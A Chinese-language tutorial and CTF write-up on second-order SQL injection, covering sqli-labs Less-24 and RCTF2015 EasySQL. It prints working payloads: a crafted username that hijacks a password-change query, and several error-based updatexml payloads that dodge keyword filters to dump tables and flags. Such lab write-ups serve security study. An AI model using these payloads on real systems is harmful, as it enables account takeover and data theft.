zl程序教程

您现在的位置是:首页 >  其他

当前栏目

WEB漏洞攻防 - SQL注入 - 二次注入

漏洞注入SQLWeb 攻防 二次
2023-09-14 09:14:27 时间

二次注入

一句话概括 - 逻辑设计上导致的先写入再注入。

应用功能逻辑设计上导致的先写入后组合的注入(注入的一种分类,逻辑设计上存在的问题,先写入,再注入!)

可以理解为攻击者构造的恶意数据先存储在数据库,恶意数据被读取并在特定的场景执行SQL查询语句所导致的注入攻击。


原理

1、当用户输入恶意数据时,网站对我们输入的重要的关键字进行了转义,然后存储到数据库。

2、已经存储到数据库的数据,默认下时安全的。该恶意数据在一定场景条件下,比如当Web程序调用存储在数据库中的恶意数据并执行
   SQL查询时,没有被转义使用也没有进行进一步的检验的处理。就造成了二次注入。[二次注入具有一次攻击注入漏洞的相同攻击威力]

二次注入实例 - Sqlilabs-less24

在关卡首页,我们看到 “New User click here” 注册新用户的页面,新增用户的操作即 “insert” 语句,这里我们可以考虑如何将恶意语句带入数据库。


在这里插入图片描述


在这里插入图片描述


我们不妨来思考一下,大胆的猜测新增用户的 “insert” 语句。

insert into user (username,password,...)values(value1,values2,...);

再大胆猜测一下变更密码的 “update” 语句。

update user set password=value1 where username = 'username' and password = oldpassword;

这里我们发现,执行变更语句的时候必须带有子查询的一个条件约束,那就是 “username” 。

OK,这里我们构造一个恶意语句的用户名,让其在执行 “update” 语句的时候造成闭合。 admin#


在这里插入图片描述


在这里插入图片描述


再变更密码!


RqNlKU.png


这里我们分析一下变更 admin’# 的语句

update user set password=123456 where username = 'admin'#' and password = 123;

可以看出 ‘#’ 注释后面的语句注释掉没有执行,直接变更了 admin 账号的密码为 123456。

尝试登录 admin 试试 。


在这里插入图片描述


登录成功,说名我们利用构造的恶意数据进行二次注入成功了。

以上就是一个简单的二次注入靶场案例讲解。

二次注入实例 - CTF - [RCTF2015]EasySQL

功能点:注册-登录-修改(insert-select-update)
确定注入点-构造Payload-确定过滤-重新构造Payload


看看题目,单从访问页面,我们可以看到页面有 "LOGIN、REGISTER"两个功能。先注册一个账号登录试试。 “test/test”


在这里插入图片描述


然后登录,发现有个类似个人中心的地方,点进去发现有个 “change_password” 功能。


在这里插入图片描述


跟具常规的 update 语句可以确定的使目前存在 username、password两个变量,但是一般password存在加密的情况,所以这里受控的可控变量就只有 username 了。

update user set password=value1 where username = 'username' and password = oldpassword;

现在我们尝试构造一个恶意的 username

test" or updatexml(1,concat(0x7e,(version())),0)#

注册失败,说明有关键字过滤,将我们的 username 尝试爆破一下看看过滤了哪些关键字。[发现过滤的是 or 和空格被过滤]


在这里插入图片描述


在这里插入图片描述


在这里插入图片描述


在这里插入图片描述


既然屏蔽了 or 关键字,我们可以使用" ^ “代替[在SQL中” ^ "表示进行按位异或运算,可以代替 or]

再次构建恶意用户名[注册成功]

test"^updatexml(1,concat(0x7e,(database())),0)#


在这里插入图片描述


进入个人中心,执行变更密码的操作[成功爆出用户名]


在这里插入图片描述


OK!看来可行,可以利用构造不同的恶意用户名,变更oldpassword的方式进行注入,注出flag!


test"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#

test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#

test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#

test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1)#

test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#

test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#